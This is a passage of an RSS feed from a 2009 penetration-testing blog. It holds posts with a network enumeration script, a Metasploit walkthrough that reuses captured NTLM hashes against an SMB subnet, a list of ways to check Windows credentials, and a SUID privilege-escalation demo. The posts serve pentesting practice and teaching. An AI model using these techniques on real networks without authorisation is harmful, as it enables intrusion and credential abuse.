		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a7ddf41647a2dd583835558cdf11b280?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jcran</media:title>
		</media:content>

		<media:content url="http://hexesec.files.wordpress.com/2009/11/img_03611.jpg" medium="image" />

		<media:content url="http://img.zemanta.com/pixy.gif?x-id=c2531738-ec1d-8ff1-844d-9a806b46e648" medium="image" />
	</item>
		<item>
		<title>local network enumeration</title>
		<link>http://hexesec.wordpress.com/2009/11/18/local-network-enumeration/</link>
		<comments>http://hexesec.wordpress.com/2009/11/18/local-network-enumeration/#comments</comments>
		<pubDate>Wed, 18 Nov 2009 10:21:25 +0000</pubDate>
		<dc:creator>jcran</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://hexesec.wordpress.com/2009/11/18/local-network-enumeration/</guid>
		<description><![CDATA[UPDATED: 11/19/2009
little script i threw together for local network enumeration &#8211; uses arp-scan, propecia, and nmap. was going to use it to dynamically generate my subnet (hence the IP parsing), but got lazy at the last minute.
#!/bin/bash
##jcran &#8211; 2009
## Gather user options
## &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;
if [ $# -lt 1 ]; then
echo &#8220;Usage: $0 [projectname] [scan? (0/1) ] [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&blog=4149787&post=297&subd=hexesec&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>UPDATED: 11/19/2009</p>
<p>little script i threw together for local network enumeration &#8211; uses arp-scan, propecia, and nmap. was going to use it to dynamically generate my subnet (hence the IP parsing), but got lazy at the last minute.</p>
<blockquote><p>#!/bin/bash<br />
##jcran &#8211; 2009</p>
<p>## Gather user options<br />
## &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
if [ $# -lt 1 ]; then<br />
echo &#8220;Usage: $0 [projectname] [scan? (0/1) ] &#8220;<br />
exit -1<br />
fi</p>
<p>PROJECT=$1    ## name of the project<br />
SCAN=$2        ## whether to scan with propecia / nmap</p>
<p>echo &#8220;creating project $PROJECT&#8221;</p>
<p>if [ -d $PROJECT ]; then<br />
echo &#8220;project exists&#8221;<br />
else<br />
mkdir $PROJECT<br />
fi</p>
<p>IP=`ifconfig eth0 | grep &#8220;inet addr:&#8221; | ips |cut -d &#8220;:&#8221; -f 2 | cut -d &#8221; &#8221; -f 1`<br />
SUBNET=`ifconfig eth0 | grep &#8220;inet addr:&#8221; | ips |cut -d &#8220;:&#8221; -f 3 | cut -d &#8221; &#8221; -f 1`<br />
RANGE=`ipcalc $IP/$SUBNET | grep &#8220;Network:&#8221; | cut -d &#8216; &#8216; -f 4`</p>
<p>echo $RANGE</p>
<p>if [ $SCAN -eq 1 ]; then</p>
<p>echo arp scanning &#8220;$RANGE&#8221;<br />
sudo arp-scan &#8220;$RANGE&#8221; &#8211;interface eth0 &gt; $PROJECT/arp.targets.txt</p>
<p>echo local segment targets<br />
cat $PROJECT/arp.targets.txt | ips &gt; $PROJECT/ip.targets.txt</p>
<p>echo &#8220;scanning for web servers &#8211; :80, :443&#8243;<br />
propecia $RANGE 80 &gt; $PROJECT/80.targets.txt<br />
propecia $RANGE 443 &gt; $PROJECT/443.targets.txt</p>
<p>echo &#8220;scanning for basics &#8211; :21 :22 :23 :111&#8243;<br />
propecia $RANGE 21 &gt; $PROJECT/21.target.txt<br />
propecia $RANGE 22 &gt; $PROJECT/22.targets.txt<br />
propecia $RANGE 23 &gt; $PROJECT/23.targets.txt<br />
propecia $RANGE 111 &gt; $PROJECT/111.targets.txt</p>
<p>echo &#8220;scanning for windows boxes &#8211; :445&#8243;<br />
propecia $RANGE 445 &gt; $PROJECT/445.targets.txt</p>
<p>echo &#8220;scanning for sql server tds &#8211; :1433&#8243;<br />
propecia $RANGE 1433 &gt; $PROJECT/1433.targets.txt</p>
<p>echo &#8220;scanning for oracle tns &#8211; :1521&#8243;<br />
propecia $RANGE 1521 &gt; $PROJECT/1521.targets.txt</p>
<p>echo nmap-scanning local ips<br />
nmap -iL $PROJECT/ip.targets.txt -oA $PROJECT/local-attack</p></blockquote>
<blockquote><p>fi</p></blockquote>
<p>cheers</p>
<p>-jcran</p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=e11a10d8-7485-82aa-bfc9-9ddd2b9a1b64" alt="" /></div>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hexesec.wordpress.com/297/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hexesec.wordpress.com/297/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hexesec.wordpress.com/297/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hexesec.wordpress.com/297/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hexesec.wordpress.com/297/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hexesec.wordpress.com/297/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hexesec.wordpress.com/297/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hexesec.wordpress.com/297/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hexesec.wordpress.com/297/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hexesec.wordpress.com/297/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&blog=4149787&post=297&subd=hexesec&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://hexesec.wordpress.com/2009/11/18/local-network-enumeration/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a7ddf41647a2dd583835558cdf11b280?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jcran</media:title>
		</media:content>

		<media:content url="http://img.zemanta.com/pixy.gif?x-id=e11a10d8-7485-82aa-bfc9-9ddd2b9a1b64" medium="image" />
	</item>
		<item>
		<title>owning a windows network</title>
		<link>http://hexesec.wordpress.com/2009/11/06/owning-a-windows-network/</link>
		<comments>http://hexesec.wordpress.com/2009/11/06/owning-a-windows-network/#comments</comments>
		<pubDate>Fri, 06 Nov 2009 15:56:26 +0000</pubDate>
		<dc:creator>jcran</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[credcollect]]></category>
		<category><![CDATA[hashes]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[msf]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[pth]]></category>
		<category><![CDATA[tokens]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://hexesec.wordpress.com/2009/11/06/owning-a-windows-network/</guid>
		<description><![CDATA[so&#8230; you say you were able to grab LM / NTLM hashes from a windows box??? cool. now use them in the scanner/smb/login to check &#38; see which systems use the same hashes:
msf exploit(psexec) &#62; use scanner/smb/login
msf auxiliary(login) &#62; info
Name: SMB Login Check Scanner
Version: 0
License: Metasploit Framework License (BSD)
Provided by:
tebo &#60;tebo@attackresearch.com&#62;
Basic options:
Name       Current Setting  Required  [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&blog=4149787&post=289&subd=hexesec&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>so&#8230; you say you were able to grab LM / NTLM hashes from a windows box??? cool. now use them in the scanner/smb/login to check &amp; see which systems use the same hashes:</p>
<blockquote><p>msf exploit(psexec) &gt; use scanner/smb/login<br />
msf auxiliary(login) &gt; info</p>
<p>Name: SMB Login Check Scanner<br />
Version: 0<br />
License: Metasploit Framework License (BSD)</p>
<p>Provided by:<br />
tebo &lt;tebo@attackresearch.com&gt;</p>
<p>Basic options:<br />
Name       Current Setting  Required  Description<br />
&#8212;-       &#8212;&#8212;&#8212;&#8212;&#8212;  &#8212;&#8212;&#8211;  &#8212;&#8212;&#8212;&#8211;<br />
RHOSTS                      yes       The target address range or CIDR identifier<br />
RPORT      445              yes       Set the SMB service port<br />
SMBDomain  WORKGROUP        no        SMB Domain<br />
SMBPass                     no        SMB Password<br />
SMBUser    Administrator    no        SMB Username<br />
THREADS    1                yes       The number of concurrent threads</p>
<p>Description:<br />
This module will test a SMB login on a range of machines and report<br />
successful logins. If you have loaded a database plugin and<br />
connected to a database this module will record successful logins<br />
and hosts so you can track your access.</p>
<p>msf auxiliary(login) &gt; set RHOSTS 10.1.1.0/24<br />
RHOSTS =&gt; 10.1.1.0/24<br />
msf auxiliary(login) &gt; set SMBPass XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX (hash goes here)<br />
SMBPass =&gt; XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
msf auxiliary(login) &gt; exploit<br />
[*] 10.1.1.6 &#8211; FAILED 0xc000006d &#8211; STATUS_LOGON_FAILURE<br />
[*] 10.1.1.21 &#8211; SUCCESSFUL LOGIN (Windows Server 2003 3790 Service Pack 2)<br />
[*] Recording successful SMB credentials for 10.1.1.21<br />
[*] 10.1.1.25 &#8211; SUCCESSFUL LOGIN (Windows 5.0)<br />
[*] Recording successful SMB credentials for 10.1.1.25<br />
[*] 10.1.1.29 &#8211; SUCCESSFUL LOGIN (Windows Server 2003 3790 Service Pack 2)<br />
[*] Recording successful SMB credentials for 10.1.1.29<br />
[*] 10.1.1.28 &#8211; SUCCESSFUL LOGIN (Windows Server 2003 3790 Service Pack 2)<br />
[*] Recording successful SMB credentials for 10.1.1.28<br />
[*] 10.1.1.31 &#8211; SUCCESSFUL LOGIN (Windows Server 2003 3790 Service Pack 1)</p></blockquote>
<p>To speed it up, set THREADS &gt; 1. Be careful not to set it too high:</p>
<blockquote><p>[*] Error: 10.1.1.189: ActiveRecord::StatementInvalid SQLite3::BusyException: database is locked: INSERT INTO &#8220;hosts&#8221; (&#8220;address&#8221;, &#8220;name&#8221;, &#8220;comm&#8221;, &#8220;os_lang&#8221;, &#8220;mac&#8221;, &#8220;os_sp&#8221;, &#8220;arch&#8221;, &#8220;os_flavor&#8221;, &#8220;address6&#8243;, &#8220;os_name&#8221;, &#8220;desc&#8221;, &#8220;created&#8221;, &#8220;state&#8221;) VALUES(&#8216;10.1.1.189&#8242;, NULL, &#8221;, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, &#8216;2009-11-06 10:48:09&#8242;, &#8216;unknown&#8217;)</p></blockquote>
<p>Thanks to <a href="http://www.attackresearch.com/">tebo</a> for the excellent work. Now, if only it worked with <a href="http://carnal0wnage.blogspot.com/2009/04/automatic-credential-collection-and.html">credcollect</a>.</p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=45a3b146-db14-8552-a6bc-68600ebbebba" alt="" /></div>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hexesec.wordpress.com/289/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hexesec.wordpress.com/289/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hexesec.wordpress.com/289/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hexesec.wordpress.com/289/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hexesec.wordpress.com/289/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hexesec.wordpress.com/289/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hexesec.wordpress.com/289/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hexesec.wordpress.com/289/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hexesec.wordpress.com/289/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hexesec.wordpress.com/289/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&blog=4149787&post=289&subd=hexesec&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://hexesec.wordpress.com/2009/11/06/owning-a-windows-network/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a7ddf41647a2dd583835558cdf11b280?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jcran</media:title>
		</media:content>

		<media:content url="http://img.zemanta.com/pixy.gif?x-id=45a3b146-db14-8552-a6bc-68600ebbebba" medium="image" />
	</item>
		<item>
		<title>checking valid windows logins with metasploit</title>
		<link>http://hexesec.wordpress.com/2009/11/06/checking-valid-windows-logins-with-metasploit/</link>
		<comments>http://hexesec.wordpress.com/2009/11/06/checking-valid-windows-logins-with-metasploit/#comments</comments>
		<pubDate>Fri, 06 Nov 2009 06:19:11 +0000</pubDate>
		<dc:creator>jcran</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://hexesec.wordpress.com/2009/11/06/checking-valid-windows-logins-with-metasploit/</guid>
		<description><![CDATA[so you have some windows creds, and you want to check if they&#8217;re valid or not. turns out there&#8217;s a bunch of ways to do this: 
1) auxiliary/scanner/smb/login2) db_autopwn -m3) msfcli scripting4) sussuro&#8217;s method (python scripting through xmlrpc)
others?

       <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&blog=4149787&post=287&subd=hexesec&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>so you have some windows creds, and you want to check if they&#8217;re valid or not. turns out there&#8217;s a bunch of ways to do this: </p>
<p>1) auxiliary/scanner/smb/login<br />2) db_autopwn -m<br />3) msfcli scripting<br />4) sussuro&#8217;s method (python scripting through xmlrpc)</p>
<p>others?</p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=29e8cc86-ddc8-878e-85da-7dac07ed7f23" /></div>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hexesec.wordpress.com/287/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hexesec.wordpress.com/287/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hexesec.wordpress.com/287/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hexesec.wordpress.com/287/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hexesec.wordpress.com/287/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hexesec.wordpress.com/287/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hexesec.wordpress.com/287/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hexesec.wordpress.com/287/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hexesec.wordpress.com/287/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hexesec.wordpress.com/287/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&blog=4149787&post=287&subd=hexesec&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://hexesec.wordpress.com/2009/11/06/checking-valid-windows-logins-with-metasploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a7ddf41647a2dd583835558cdf11b280?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jcran</media:title>
		</media:content>

		<media:content url="http://img.zemanta.com/pixy.gif?x-id=29e8cc86-ddc8-878e-85da-7dac07ed7f23" medium="image" />
	</item>
		<item>
		<title>exploiting suid binaries</title>
		<link>http://hexesec.wordpress.com/2009/10/14/exploiting-suid-binaries/</link>
		<comments>http://hexesec.wordpress.com/2009/10/14/exploiting-suid-binaries/#comments</comments>
		<pubDate>Wed, 14 Oct 2009 19:44:41 +0000</pubDate>
		<dc:creator>jcran</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://hexesec.wordpress.com/2009/10/14/exploiting-suid-binaries/</guid>
		<description><![CDATA[just had a quick refresher on exploiting suid bits (and why they&#8217;re so darn evil):
jcran@aldatmak:/usr/bin$ ls -la id-rwxr-xr-x 1 root root 35232 2008-06-26 20:31 id
jcran@aldatmak:/usr/bin$ iduid=1000(jcran) gid=1000(jcran) groups=30(dip),127(vboxusers),1000(jcran)
jcran@aldatmak:/usr/bin$ sudo chmod u+s id
jcran@aldatmak:/usr/bin$ ls -la id-rwxr-xr-x 1 root root 35232 2008-06-26 20:31 id
jcran@aldatmak:/usr/bin$ iduid=1000(jcran) gid=1000(jcran) euid=0(root) groups=30(dip),127(vboxusers),1000(jcran)
jcran@aldatmak:/usr/bin$ sudo chmod u-s id
The first time it&#8217;s executed (no [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&blog=4149787&post=279&subd=hexesec&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>just had a quick refresher on exploiting suid bits (and why they&#8217;re so darn evil):<br />
<blockquote><font face="monospace">jcran@aldatmak:/usr/bin$ ls -la id<br />-rwxr-xr-x 1 root root 35232 2008-06-26 20:31 id</p>
<p>jcran@aldatmak:/usr/bin$ id<br />uid=1000(jcran) gid=1000(jcran) groups=30(dip),127(vboxusers),1000(jcran)</p>
<p>jcran@aldatmak:/usr/bin$ sudo chmod u+s id</p>
<p>jcran@aldatmak:/usr/bin$ ls -la id<br />-rwxr-xr-x 1 root root 35232 2008-06-26 20:31 id</p>
<p>jcran@aldatmak:/usr/bin$ id<br />uid=1000(jcran) gid=1000(jcran) euid=0(root) groups=30(dip),127(vboxusers),1000(jcran)</p>
<p>jcran@aldatmak:/usr/bin$ sudo chmod u-s id</font></p></blockquote>
<p>The first time it&#8217;s executed (no suid bit) &#8211; the euid is 1000, jcran. the second time, after the suid bit has been set, i&#8217;m effectively root. </p>
<p>finding all suid binaries on a system:<br />
<blockquote>
<pre class="screen"> find / -type f \( -perm -04000 -o -perm -02000 \) \-exec ls -lg {} \;
</pre>
</blockquote>
<p>  note, this technique<a href="http://archive.cert.uni-stuttgart.de/vuln-dev/2003/03/msg00018.html"> doesn&#8217;t work on bash</a> if it&#8217;s been set SUID.</p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=6b182c79-e3fb-8179-bd5f-af7d9ce08f4e" /></div>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hexesec.wordpress.com/279/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hexesec.wordpress.com/279/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hexesec.wordpress.com/279/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hexesec.wordpress.com/279/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hexesec.wordpress.com/279/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hexesec.wordpress.com/279/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hexesec.wordpress.com/279/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hexesec.wordpress.com/279/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hexesec.wordpress.com/279/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hexesec.wordpress.com/279/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&blog=4149787&post=279&subd=hexesec&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://hexesec.wordpress.com/2009/10/14/exploiting-suid-binaries/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a7ddf41647a2dd583835558cdf11b280?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jcran</media:title>
		</media:content>

		<media:content url="http://img.zemanta.com/pixy.gif?x-id=6b182c79-e3fb-8179-bd5f-af7d9ce08f4e" medium="image" />
	</item>
		<item>
		<title>exception has been thrown by the target of an invocation (bing + mono = fail)</title>
		<link>http://hexesec.wordpress.com/2009/10/04/exception-has-been-thrown-by-the-target-of-an-invoation-bing-fail/</link>
		<comments>http://hexesec.wordpress.com/2009/10/04/exception-has-been-thrown-by-the-target-of-an-invoation-bing-fail/#comments</comments>
		<pubDate>Sun, 04 Oct 2009 02:31:09 +0000</pubDate>
		<dc:creator>jcran</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[bing]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[exception]]></category>
		<category><![CDATA[fail]]></category>
		<category><![CDATA[microsoft]]></category>

		<guid isPermaLink="false">http://hexesec.wordpress.com/2009/10/04/exception-has-been-thrown-by-the-target-of-an-invoation-bing-fail/</guid>
		<description><![CDATA[       <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&blog=4149787&post=275&subd=hexesec&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><div id="attachment_274" class="wp-caption aligncenter" style="width: 510px"><img class="size-medium wp-image-274" title="bing!" src="http://hexesec.files.wordpress.com/2009/10/11point4.png?w=500&#038;h=302" alt="if an app crashes on the internet, and no one is around to hear it...." width="500" height="302" /><p class="wp-caption-text">if an app crashes on the internet, and no one is around to hear it....</p></div>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hexesec.wordpress.com/275/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hexesec.wordpress.com/275/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hexesec.wordpress.com/275/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hexesec.wordpress.com/275/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hexesec.wordpress.com/275/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hexesec.wordpress.com/275/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hexesec.wordpress.com/275/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hexesec.wordpress.com/275/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hexesec.wordpress.com/275/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hexesec.wordpress.com/275/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&blog=4149787&post=275&subd=hexesec&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://hexesec.wordpress.com/2009/10/04/exception-has-been-thrown-by-the-target-of-an-invoation-bing-fail/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a7ddf41647a2dd583835558cdf11b280?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jcran</media:title>
		</media:content>

		<media:content url="http://hexesec.files.wordpress.com/2009/10/11point4.png?w=300" medium="image">
			<media:title type="html">bing!</media:title>
		</media:content>
	</item>
		<item>
		<title>security product recommendations in a pentest?</title>
		<link>http://hexesec.wordpress.com/2009/09/29/security-product-recommendations-in-a-pentest/</link>
		<comments>http://hexesec.wordpress.com/2009/09/29/security-product-recommendations-in-a-pentest/#comments</comments>
		<pubDate>Tue, 29 Sep 2009 06:29:57 +0000</pubDate>
		<dc:creator>jcran</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://hexesec.wordpress.com/?p=269</guid>
		<description><![CDATA[is there room for it?
after reading this post on the metasploit blog, i started thinking about how well I currently evaluate product implementations within a typical penetration test. If configuration auditing has been included, I&#8217;ll do some of this. However, as a pentester, it pays to know the products in use, and to be familiar [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&blog=4149787&post=269&subd=hexesec&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>is there room for it?</p>
<p>after reading <a href="http://blog.metasploit.com/2009/09/nss-labs-endpoint-protection-test.html">this post</a> on the metasploit blog, i started thinking about how well I currently evaluate product implementations within a typical penetration test. If configuration auditing has been included, I&#8217;ll do some of this. However, as a pentester, it pays to know the products in use, and to be familiar with the differences between say, trend micro and kaspersky antivirus or Splunk and syslog. It would be useful to include specific measurements and recommendations around the products in use on the network.</p>
<p>for instance:</p>
<ul>
<li><strong>Antivirus</strong>: Trend Micro &#8211; Configured properly, managed well. Recently garnered the top spot in an</li>
<li> <strong>S</strong><strong>pam filtering</strong>: Ironport &#8211;  Not well configured. Recommend moving to the Sophos appliance for ease of use. (based on strengths of the team)</li>
<li><strong>M</strong><strong>onitoring</strong>: Snort &#8211; Configured poorly. Recommend switching to bro to support policy / functionality separation. would streamline IT processes</li>
<li> <strong>Vuln scanning</strong>: Nessus &#8211; AdHoc  &#8211; Need to move to automated process, more advanced web-scanning tool. Look into qualys / ncircle / rapid7.</li>
<li><strong>Firewall: </strong>Cisco PIX</li>
<li><strong>Logging: </strong>Syslog server &#8211; &#8230;</li>
<li><strong>etc..<br />
</strong></li>
</ul>
<p>Now, the issue becomes two-fold. one, the tester needs to have a solid understanding of each of the products he&#8217;s evaluating / recommending and a clear understanding of the client&#8217;s needs. It&#8217;s not a typical penetration test function, but would definitely provide value to a customer. (The more i write here, the more it turns into a full configuration audit of the customer&#8217;s systems, and while would be a nice-to-have on a pentest, isn&#8217;t part of a typical assessment)</p>
<p>i think most shops steer clear of this under the &#8216;product agnostic&#8217; label, but as long as that&#8217;s been made clear up front, i&#8217;d say go for it.</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hexesec.wordpress.com/269/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hexesec.wordpress.com/269/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hexesec.wordpress.com/269/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hexesec.wordpress.com/269/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hexesec.wordpress.com/269/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hexesec.wordpress.com/269/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hexesec.wordpress.com/269/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hexesec.wordpress.com/269/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hexesec.wordpress.com/269/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hexesec.wordpress.com/269/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&blog=4149787&post=269&subd=hexesec&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://hexesec.wordpress.com/2009/09/29/security-product-recommendations-in-a-pentest/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a7ddf41647a2dd583835558cdf11b280?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jcran</media:title>
		</media:content>
	</item>
	</channel>
</rss>